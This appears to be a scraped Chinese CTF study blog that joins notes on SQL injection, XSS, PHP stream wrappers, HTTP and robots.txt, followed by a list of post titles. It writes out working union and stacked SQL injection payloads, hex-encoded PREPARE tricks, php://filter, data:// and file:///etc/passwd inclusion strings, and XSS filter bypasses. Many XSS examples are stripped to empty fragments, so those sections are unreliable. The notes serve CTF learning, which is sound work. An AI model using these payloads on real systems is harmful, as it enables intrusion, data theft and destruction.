3：第三个占位列
information_schema：MySQL的系统数据库
tables：存储所有数据库表信息的元数据表
where table_schema=database()
table_schema：筛选当前数据库
database()：返回当前数据库名的函数
由上述事例可以看出，和爆破数据库名一样的思路,都是在回显位输入所要内容对应的关键字。
【注意：如果 information_schema 被过滤了，可以使用 sys】（QAQ没用过，本人也不懂emmmmmm）
1
1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1)='f'
6).爆破表格字段
关键：
group_concat(column_name) from information_schema.columns where table_name=‘表格名’
语句：
1
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表格名'--+
7).获取字段值
关键：
group_concat(id,username,password) from geekuser
语句：
1
-1' union select 1,group_concat(id,username,password),3 from 表格名--+
 二)编插一嘴：报错注入
之前在尝试写一个登录注册留言板系统的时候遇到了一大堆数据库报错QAQ，然后发现这些报错都是详细到哪个文件的第几行，还给出了该文件的绝对路径emmmmmm。。。。。(绝对不是窝写的太拉吉了QAQ)
现在看到了报错注入的相关内容，遂加入。
首先：报错注入用在数据库的错误信息会回显在网页中的情况，如果联合查询不能使用，首选报错注入。
那么何为报错注入？
报错注入利用的是数据库的报错信息得到数据库的内容，这里需要构造语句让数据库报错。
 原理支持
在mysql高版本（大于5.1版本）中添加了对XML文档进行查询和修改的函数：
updatexml（）
extractvalue（）
当这两个函数在执行时，如果出现xml文档路径错误就会产生报错。
 三)编插一嘴：堆叠注入
eg.buuctf --[强网杯2019]随便注
这题的联合注入被过滤QAQ,因此采用堆叠注入。
 1.定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection
 2. 原理
在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为： Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。
 3.基本语句
以该题为例：
查询所有数据库：
1
1';show databases;#
查询所有表:
1
1';show tables;#
查询words表中所有列:
1
1';show columns from words;#
查询1919810931114514表中所有列：
1
1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)
找到了flag的的列，下一步就是如何让他回显出来
EXP1:
我们知道正则匹配过滤了很多字符，但是没有过滤alert和rename
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
1
2
3
4
1';
rename tables `words` to `words1`;
rename tables `1919810931114514` to `words`; 
alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1，1919810931114514表名改为words，将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
EXP2:
16进制编码绕过select 关键字
1
select * from `1919810931114514`
将上述语句进行16进制编码
1
1';sEt@a= 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;#
EXP3:
采用预编译：
预编译相当于定一个语句相同，参数不通的Mysql模板，我们可以通过预编译的方式，绕过特定的字符过滤
格式：
1
2
3
PREPARE 名称 FROM Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
EXP4:
使用handle
handle不是通用的SQL语句，是Mysql特有的，可以逐行浏览某个表中的数据，格式：
1
2
3
4
5
6
7
8
打开表：
HANDLER 表名 OPEN ;

查看数据：
HANDLER 表名 READ next;

关闭表：
HANDLER 表名 READ CLOSE;
1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
参考文献1
参考文献2
 五.盲注
前面有提到，当页面不存在回显位时联合注入无法实现，该情况下我们可以考虑盲注~~（纯猜测）~~；
盲注是不能通过直接显示的途径来获取数据库信息。在盲注中，需要根据其返回页面的不同来判断信息（可能是页面内容的不同，也可以是响应时间不同）
盲注分为两种：布尔盲注和时间盲注。
 1.布尔盲注
后续补充
 2.时间盲注
看我干嘛QAQ
后续会补充的（大概？
 六.延时注入
参考文章：https://blog.csdn.net/2301_79218813/article/details/135090595


xss基础
2025-11-23T15:30:36.000Z
 xss基础
 一.xss概述
 1.定义：
XSS（Cross Site Scripting）攻击全称跨站脚本攻击，是为不和层叠样式表 (Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
成因：XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植 入到提供给其它用户使用的页面中，而程序对输入和输出的控制不够严格，导致“精心构造” 的脚本输入后，再输到前端时被浏览器当作有效代码解析执行从而产生危害。当受害者访问 这些页面时，浏览器会解析并执行这些恶意代码。
XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过其他用户本地 浏览器执行的，所以XSS漏洞关键就是寻找参数未过滤的输出函数
 2.XSS常见危害
网络钓鱼，盗取各类用户的账号，如机器登录帐号、用户网银帐号、各类管理员帐号。
窃取用户Cookie，获取用户隐私，或者利用用户身份进一步执行操作。
劫持用户（浏览器）会话，从而执行任意操作，例如进行非法转账、强制发表日志等。
强制弹出广告页面，刷流量等。
进行恶意操作，例如任意篡改页面信息，删除文章等，传播跨站脚本蠕虫，网页挂马等。
进行基于大量的客户端攻击，如DDOS攻击。
结合其它漏洞，如CSRF漏洞，进一步渗透网站。
获取客户端信息，例如用户的浏览历史、真实IP、开放端口等。
控制受害者机器向其他网站发起攻击。
传播跨站脚本蠕虫等。
 3.XSS检测方法
在目标站点上找到输入点，比如查询接口，留言板等
输入一组“特殊字符+唯一标识字符”，提交查看返回的源码，是否有做对应的处理
通过搜索定位到特征字符，结合特征字符前后语法确定是否可以构造执行js
提交构造的脚本代码，查看是否可以成功执行，如果成功执行则说明存在xss漏洞
 XSS漏洞常见位置：反馈与浏览、富文本编辑器、各类标签插入和自定义、用户资料、 关键词、说明、文件上传等处
 二.分类
[!NOTE]
分为存储型xss、反射型xss、DOM型xss
下面我们来一一概述()
 1.反射型xss
通过给别人发送带有恶意脚本代码参数的URL， 欺骗用户点击链接，当用户单击时触发，特有的恶意代码参数被HTML解析、执行， 这类跨站的代码通常不存储于服务端。
常见XSS点：网站的搜索栏、用户登录入口、输入表单等地方，漏洞点简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀，导致输岀的数据中存在可被浏览器执行的代码数据。
特点：非持久化，经过后端，但不存入数据库。
总而言之;
恶意脚本存在于URL参数中
通过HTTP请求立即执行，不存储在服务器
需要诱骗用户点击恶意链接
影响范围相对较小
eg.初学还没遇见，后面再补     (XssLab)
 2.存储型xss
比反射型XSS更具有威胁性。恶意代码会存储在服务器中，如在 个人信息或发表文章等地方，加入恶意代码，如果没有过滤或过滤不严，那么这些代码将储存到服务 器中，每当有用户访问该页面的时候都会触发代码执行.
常见XSS点：论坛、博客、留言板、评论、日志等交互处，这些地方有个明显的特征，就是功能页面 .几乎大多数用户都能轻易看到。
区别：存储型XSS和反射型XSS利用方式完全一样。判断存储型XSS只需要重新打开当前页面，若弹 窗还是出现，说明恶意语句被存储在服务器上，即为存储型。
总而言之：
恶意脚本存储在后端中(数据库、日志文件、评论等)
持久性攻击，影响所有访问相关页面的用户
危害最大，传播范围广
不需要用户主动触发
eg.rois2025challenge“我要不停地实践你”两件套
 3.DOM型xss
文档对象模型Document Object Model（DOM）是一个与平台、编程语言不相干的接口，允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果会成为展示页面的一部分
DOM型xss其实是一种特殊类型的反射型xss，也被称作本地跨站，它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与，出发XSS靠的是浏览器的DOM解析，完全是客户端的事情
DOM中有很多对象，其中一些对象可以被用户所操纵，如url，location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而是从客户端取得DOM中的数据后并在本地执行，因此仅从服务器端是没有办法防御DOM型XSS漏洞的，如若DOM中的数据没有经过严格的验证，便会产生基于DOM的XSS漏洞。
基于DOM的XSS是反射的特例，其中JavaScript隐藏在URL中，并在其呈现时由页面中的JavaScript取出，而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽，并且监控页面正文的WAF或其他防护检测不出恶意内容。
攻击方式：用户请求一个经过专门设计的URL，它由攻击者提交，而且其中包含xss代码。服务器的响应不会以任何的形式包含攻击者的脚本，当用户的浏览器处理这个响应时，DOM对象就会处理xss代码，导致存在xss漏洞。
总而言之：
完全在客户端执行
不涉及服务器端代码
通过JavaScript修改DOM结构触发
HTTP响应中不包含恶意脚本
eg.没见过，见过再补充()
 4.二编）JSONP型XSS
在浏览器的同源策略下，前端 JavaScript不能直接跨域请求 AJAX(一种无需刷新页面就能向服务器发送和接收数据的技术），但可以利用 

 三.xss实战
 1.常用标签
 0x01. a 标签
1
2
3
4
5
test
xss
xss
xss
xss
 0x02. img标签
1
2
3
4
5





 0x03. iframe标签
1
2
3
4
5
6
test





 0x04. 1
2
3
4




 0x05. 1
2
3
4
5





 0x06. 1
2


 0x07. button 标签
1
2
3
4
5
6
7






 0x08. div标签
这个需要借助url编码来实现绕过
1
2
3
4
原代码：
DIV
经过url编码：
DIV<%2fdiv>
 0x09. 这个需要借助 data 伪协议和 base64 编码来实现绕过
1

 0x10. script 标签
(窝用过最多的)(doge)
1
2
3



 0x11. p 标签
(骗你的，窝也没用过)
1
2
3
4
xss
xss
xss
xss
 0x12. input 标签
1
2
3
4
5
6
7







 0x13. details标签
1
2


 0x14. 


 0x15. 1
2
3
 
 

 0x16.  1

 2.常用绕过姿势汇总
 1.关键词置空绕过
注：置空指将关键词替换成空格，当过滤为其他字符时该方法不再适用，得考虑对字符做处理
 0x01. 大小写绕过
1

可以转换为
1

（当然有些时候会强制转换大小写，例如raw=raw.lower()，这样大小写绕过就不管用了QAQ）
 0x02. 嵌套绕过
嵌套突破
1

可以转换为
1
ript>alert(/xss/)ript>
 2.编码绕过
我们已知浏览器对 XSS 代码的解析顺序为：HTML解码 —— URL解码 —— JS解码(只支持UNICODE)
因此我们可以对此使用编码绕过。
 1. html 实体编码
当可控点为单个标签属性时，可以使用 html 实体编码。
1
2
3
4
test

test

Payload
1
test
十进制
1
test
十六进制
1
test
可以不带分号
1
test
可以填充0
1
test
 2. url 编码
当注入点存在 href 或者 src 属性时，可以使用 url 编码。
1
2
3
test

test
Payload
1
2
3
test

test
注：url 解析过程中，不能对协议类型进行任何的编码操作，所以 javascript: 协议头需要保留。
1
2
3
test

test
可以二次编码
1
2
3
test

test
 3.js编码
先空着(doge)
 3.空格过滤绕过
1

A位置可填充 /，/123/，%09，%0A，%0C，%0D，%20 B位置可填充 %09，%0A，%0C，%0D，%20 C位置可填充 %0B，/**/，如果加了双引号，则可以填充 %09，%0A，%0C，%0D，%20 D位置可填充 %09，%0A，%0C，%0D，%20，//，>
 4.圆括号过滤绕过
反引号替换（比较常见），单引号过滤也可以用` 绕过
1

throw 绕过(个人没用过)
1
2


onload：当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码
window.onerror = eval;：window.onerror 是一个全局的错误处理函数，当 JavaScript 执行时发生错误，它会被调用。通过将其设置为 eval，攻击者可以劫持错误处理并执行恶意的 JavaScript 代码
throw '=alert\x281\x29';：这行代码通过 throw 抛出一个异常alert(1)
 5.alert 过滤绕过
1.prompt 替换
1

2.confirm 替换
1

3.console.log 替换
1

4.document.write 替换
1

base64 绕过
1
2


 6.函数拼接绕过
eval
1

top
1

window
1

self
1

parent
1

frames
1

 7.分割关键字绕过
通过在关键字中插入空格或注释符号（ /**/）来分隔函数名
1
a/**/l/**/ert(1)
 长度限制绕过
 用拆分法
1
2
3
4
5





 用嵌套结构
1
')">
 分号绕过
当只过滤了分号时，可以利用花括号进行语句隔离
1

当浏览器遇到 throw 1 时，它会抛出一个错误
抛出错误时，onerror 事件会被触发，因为我们之前将 onerror 设置为了 alert 函数
结果是，浏览器会弹出一个对话框，显示 1，这就是 alert(1) 的效果
未来再补充


php伪协议
2025-11-16T01:26:16.000Z
 PHP伪协议
 一.PHP支持的伪协议
1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流（I/O streams）
5 zlib:// — 压缩流
6 data:// — 数据（RFC 2397）
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
 二.详解
 1.php://filter
元封装器。文件过滤筛选。php://filter可以获取指定文件源码。当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，让其不执行。从而导致 任意文件读取。
eg.[ACTF2020 新生赛]Include1
1
2
http://71a5b17a-a293-4fe5-95a3-99aa00f4c77a.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php #PHP伪协议
http://71a5b17a-a293-4fe5-95a3-99aa00f4c77a.node5.buuoj.cn:81/?file=flag.php #原有URL
上述也是比较常用的。
名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（`
<；两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
 过滤器
 字符串过滤器
该类通常以string开头，对每个字符都进行同样方式的处理。
string.rot13
一种字符处理方式，字符右移十三位。
string.toupper
将所有字符转换为大写。
string.tolower
将所有字符转换为小写。
string.strip_tags
这个过滤器就比较有意思，用来处理掉读入的所有标签，例如XML的等等。在绕过死亡exit大有用处。
 转换过滤器
对数据流进行编码，通常用来读取文件源码。
convert.base64-encode & convert.base64-decode
base64加密解密
convert.quoted-printable-encode & convert.quoted-printable-decode
可以翻译为可打印字符引用编码，使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
补充资料：https://www.leavesongs.com/PENETRATION/php-filter-magic.html
 2.data://
数据流封装器，以传递相应格式的数据。可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。
eg.
1
2
3
4
5
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
 3 file://
用于访问本地文件系统，并且不受allow_url_fopen，allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如：
1
http://www.xx.com?file=file:///etc/passsword
 4 php://
在allow_url_fopen，allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流
包含php://filter和php://input
 5 php://input
php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如：
1
http://127.0.0.1/cmd.php?cmd=php://input
POST数据：
注意：
当enctype="multipart/form-data"的时候 php://input` 是无效的
遇到file_get_contents()要想到用php://input绕过。
其中php://input通常与
1

联合使用，用于读取文件内容，查看目录等等。
 6 zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时，zip://流会被当作php文件执行。从而实现任意代码执行。


HTTP协议
2025-11-16T01:20:19.000Z
 HTTP
 HTTP概述
HTTP 是一种用作获取诸如 HTML 文档这类资源的协议。它是 Web 上进行任何数据交换的基础，同时，也是一种客户端—服务器（client-server）协议。HTTP 是一种应用层的协议，通过 TCP 或 TLS（一种加密过的 TCP 连接）来发送。
请求是由接受方——通常是 Web 浏览器——发起的。完整网页文档通常由文本、布局描述、图片、视频、脚本等资源构成。客户端与服务端之间通过交换一个个独立的消息（而非数据流）进行通信。由客户端发出的消息被称作请求（request），由服务端发出的应答消息被称作响应（response）。
 HTTP消息结构
 客户端请求消息（请求包结构）
 请求行
 方法
                       如 GET、POST、PUT、DELETE等，指定要执行的操作。
 GET请求
         用于从服务器获取资源，常用于获取静态资源（网页、图片、文件等等）。
            get请求的参数传递方式
           在 HTTP 请求中，GET 请求可以通过 URL 参数或者请求体的方式传递参数。
           URL 参数：GET 请求可以通过 URL 中指定的 key-value 形式传递参数。
            eg.http://example.com/search?q=test&page=2
 POST请求
           用于向服务器提交数据，通常用于创建、更新或删除资源、上传文件、发送 JSON 数据
post请求的参数传递方式：URL 参数和请求体。
1.URL 参数：POST 请求可以通过 URL 中指定的 key-value 形式传递参数。例如，在访问如下 URL 时：
eg.http://example.com/search?q=test&page=2
2.请求体（仅适用于 POST、PUT、PATCH 请求）：当 POST、PUT 或 PATCH 请求的 URL 中没有指定参数时，参数会被放置在请求体中。请求体中的数据可以是表单数据、JSON 数据等。例如，使用 POST 请求将 JSON 数据发送到如下 URL 时：eg.http://example.com/user
请求体中的 JSON 数据如下：
{  "name": "John Doe",  "email": "john.doe@example.com" }
ps:
这里稍微提一嘴：在HTML表单提交时，特殊符号如空格、&等应该用html编码后提交，以&为例子，html不会讲&视为普通符号，若A&B是一个要提交的值，直接提交A&B，html则会将其视为A、B两个值，编码为%26则不会，这里就能正常视为一个值。
 请求 URI（统一资源标识符）
                       请求的资源路径，通常包括主机名、端口号（如果非默认）、路径和查询字符串。
 请求头
             包含了客户端环境信息、请求体的大小（如果有）、客户端支持的压缩类型等。
             常见的请求头包括Host、User-Agent、Accept、Accept-Encoding、Content-Length等。
注：POST 请求（包含 HTML 表单数据）需要主体
主体大致可分为两类：
1.单一资源（Single-resource）主体，由一个单文件组成。该类型的主体由两个标头定义：Content-Type和Content-Length
2.多资源（Multiple-resource）主体，由多部分主体组成，每一部分包含不同的信息位。通常是和 HTML 表单连系在一起。
 Host
指定请求的服务器的域名和端口号。
 User-Agent
包含发出请求的用户代理（浏览器）的信息，可用来浏览器伪造。
eg.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
其中：
浏览器：Mozilla/5.0
操作系统：Windows NT 10.0
平台：Win64; x64
浏览器核心：AppleWebKit/537.36
浏览器名称：Chrome
浏览器版本：58.0.3029.110
渲染引擎：Safari/537.36
 Accept
指定客户端能够处理的媒体类型。
 Accept-Language
指定客户端偏好的语言。
 Accept-Encoding
指定客户端能够处理的压缩算法。
 Authorization
用于身份验证的凭证。
 X-Forwarded-For
好用捏，不多说自行体会QAQ
 cookie
也是进行身份验证的头。ps:曲奇好吃捏
 协议        
 路径
             /path/to/myfile.html 、/index.html是 Web 服务器上资源的路径。
 参数
             ?key1=value1&key2=value2 是提供给 Web 服务器的额外参数(参数是用 & 符号分隔的键/值对列表) 。
 锚点
                #SomewhereInTheDocument 是资源本身的另一部分的锚点
                锚点表示资源中的一种“书签”，给浏览器显示位于该“加书签”位置的内容的方向
               # 后面的部分（也称为片段标识符）不会随请求被发送到服务器


Robots协议
2025-11-15T15:50:20.000Z
 Robots协议
Robots 协议（也称为爬虫协议、机器人协议等）是网站与爬虫之间的一种默契约定，用于指导爬虫哪些页面可以抓取，哪些不可以抓取，从而保护网站的数据隐私、性能以及避免过度抓取对服务器造成负担。其本质是一个放置在网站根目录下的文本文件（通常命名为 robots.txt），里面包含了一系列规则，告诉搜索引擎爬虫或其他网络爬虫在抓取网站页面时应遵循的指令。
 为什么需要 Robots 协议？
保护网站隐私和敏感信息：某些页面可能包含用户个人数据、内部运营数据、未公开的内容等，网站管理员可以通过 Robots 协议阻止搜索引擎或其他爬虫获取这些敏感信息，防止信息泄露。
控制爬虫访问频率：爬虫过度频繁地访问网站可能会消耗大量服务器资源，影响网站的正常运行和其他用户的访问体验。Robots 协议可以限制爬虫在一定时间内的访问次数，避免对服务器造成过大压力。
引导爬虫抓取重点内容：网站管理员可以通过 Robots 协议明确告诉爬虫哪些页面是对用户有价值且希望被收录和展示的，引导爬虫优先抓取这些页面，提高网站重要内容在搜索引擎结果中的曝光率。
 Robots 协议的操作过程、命令和工具
 1.操作过程
1.查找 robots.txt 文件：在浏览器地址栏中输入目标网站的根目录地址，然后加上 “/robots.txt”，例如 “https://www.example.com/robots.txt”（这里的 “www.example.com” 需替换为实际的网站域名）。如果网站存在该协议文件，浏览器会显示其内容；如果不存在，则可能会返回 404 页面或其他提示信息。
2.解读 robots.txt 内容：文件中包含一系列的规则，每条规则由用户代理（User-agent）和允许或禁止访问的目录或文件路径（Disallow 和 Allow）组成。例如：
1.User-agent: * （表示适用于所有爬虫）
2.Disallow: /private/ （表示禁止所有爬虫访问网站根目录下的 “private” 文件夹及其子文件夹和文件）
3.Allow: /public/ （表示允许所有爬虫访问网站根目录下的 “public” 文件夹及其子文件夹和文件）
3.遵守协议规则进行爬虫开发或网站管理
对于爬虫开发者：在编写爬虫程序时，需要读取目标网站的 robots.txt 文件（可以使用相应的编程语言和库来实现，如 Python 中的urllib.robotparser模块），根据其中的规则来确定哪些页面可以抓取，哪些不可以抓取。例如，如果规则禁止访问某个目录，爬虫就应该避免向该目录下的页面发送请求。
对于网站管理员：合理编写 robots.txt 文件来控制爬虫对网站的访问。可以根据网站的结构、内容重要性以及隐私需求等因素，明确指定允许和禁止爬虫访问的区域。同时，需要定期检查和更新该文件，以适应网站内容和业务需求的变化。
 2.命令
1.User-agent：指定规则适用的爬虫名称或通配符 “”（表示适用于所有爬虫）。例如，“User-agent: Googlebot” 表示下面的规则仅适用于谷歌搜索引擎的爬虫；“User-agent: 2.” 表示适用于所有未特别指定的爬虫。
Disallow：指定不允许爬虫访问的目录或文件路径。可以使用通配符 “*” 和 “来更精确地控制。例如，禁止访问网站根目录下的文件夹；” 禁止访问所有以.pdf 结尾的文件。
3.Allow：与 Disallow 相反，用于指定允许爬虫访问的目录或文件路径。如果在 Disallow 规则之后有 Allow 规则，Allow 规则将覆盖 Disallow 规则中相同路径的部分。例如，先有 “Disallow: /images/”，然后有 “Allow: /images/public/”，则表示除了 “/images/public/” 及其子文件夹外，其他 “/images/” 下的内容都不允许访问。
4.Sitemap（可选）：用于指定网站地图（Sitemap）的位置，帮助搜索引擎更全面地了解网站的结构和内容，以便更好地进行索引。例如，“Sitemap: https://www.example.com/sitemap.xml” 告诉爬虫可以在该地址找到网站地图文件。
 3.工具
1.用于查看 robots.txt 文件的浏览器：普通的网页浏览器（如 Chrome、Firefox、Edge 等）都可以直接在地址栏中输入网站的 robots.txt 文件地址来查看其内容。
2.编程语言相关库（用于爬虫开发中读取和遵循 robots.txt 规则）
Python：urllib.robotparser模块可以用于解析 robots.txt 文件并根据规则判断是否允许爬虫访问特定页面。
 4.题外话
robots协议在ctf中常用于页面中搜寻信息，与此目的相同的简易操作我在这里也简单列举一些()
1.swp源码泄露：
直接访问/.index.php.swp          由于vim编辑器在编辑index.php文件时会生成临时交换文件，用于备份编辑过程中的内容，如果vim未正常关闭，则可能残留并被访问。
2.git源码泄露：
热知识：在网址后加上**/.git进行小测试，如果返回403状态码，说明是Git源码泄露**
使用工具GitHack,
3.利用目录穿越漏洞（目录遍历漏洞）：
漏洞的核心原理在于服务器端对用户输入的文件路径缺乏严格验证，如果应用程序在读取服务器上的文件时未对输入进行充分过滤，攻击方可以在路径中插入特殊序列，（如 …/），这些序列会指示系统向上回溯目录层级，从而突破安全限制，访问到本应受保护的文件。
eg.buuctf–N1BOOK-Web入门-afr-2~~(可自行去体验)~~

名称	描述
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
`read=<读链的筛选列表>`	该参数可选。可以设定一个或多个过滤器名称，以管道符（`
write=<写链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（`
<；两个链的筛选列表>	任何没有以 `read=` 或 `write=` 作前缀的筛选器列表会视情况应用于读或写链。

Cl1ck-t0's blog

burp靶场漏洞实战

burp靶场漏洞实战wp

一、sql注入

1.实验：WHERE条款中允许检索隐藏数据的SQL注入漏洞

2.实验：允许登录绕过的SQL注入漏洞

3.实验：SQL注入UNION攻击，确定查询返回的列数

二、文件上传漏洞

1.实验室：通过网页壳上传远程代码执行

三、跨站脚本

1.实验：将XSS映射到HTML上下文中，且没有编码

2.DOM XSS 在 sack 中使用源代码document.write``location.search

3.DOM XSS in innerHTML sink using source location.search

4.实验：jQuery 锚属性汇入 DOM XSS 使用源代码href``location.search

SSTI注入

SSTI注入

一、前置基础

二、SSTI注入流程

通用 payload ( Python3 )¶

二编：

常见payload：

变量覆盖漏洞

变量覆盖漏洞

一、概念

二、 变量覆盖漏洞相关的函数

三、详细说明

1.extract()变量覆盖

2.$$变量覆盖（重点）

3.parse_str()导致的变量覆盖

MD5

MD5碰撞

一、定义

二、PHP弱比较

1.字符串与int类型比较:

2.字符串与字符串比较：

三、MD5强比较

CRT

CRT(中国剩余定理)

一、引入

二、定义

三、过程

四、在RSA中的简单应用

pop链构造

pop链构造

eg.[SWPUCTF 2021 新生赛]pop

RCE漏洞原理及利用

RCE漏洞原理及利用

一、RCE漏洞概述

二、常见的RCE漏洞函数

1.系统命令执行函数

三、具体利用

1.文件包含

2.绕过技巧

过滤cat

过滤flag

3.无字母RCE

4.无参RCE

PHP&MySQL基础

PHP&MySQL基础

一.PHP

1.变量

2.逻辑判断

3.常用函数

二.MySQL

1.数据库

2.SELECT查询语句

1. 基本SELECT语法

2. SELECT子句完整结构

3. 常用函数和表达式

3.WHERE条件子句（SQL注入的基础）

1. 基本比较运算符

2. 逻辑运算符

3. 特殊条件查询

4. 子查询

LFSR做题有感

phpstuty的配置和使用(自用)

xss外带cookie攻击

xss外带cookie攻击

一.概念

二.攻击姿势

3.DOM XSS in `innerHTML` sink using source `location.search`

二、变量覆盖漏洞相关的函数

`XMLHttpRequest` 对象

`window.location` 对象

`window.location.href`

`document.write`方法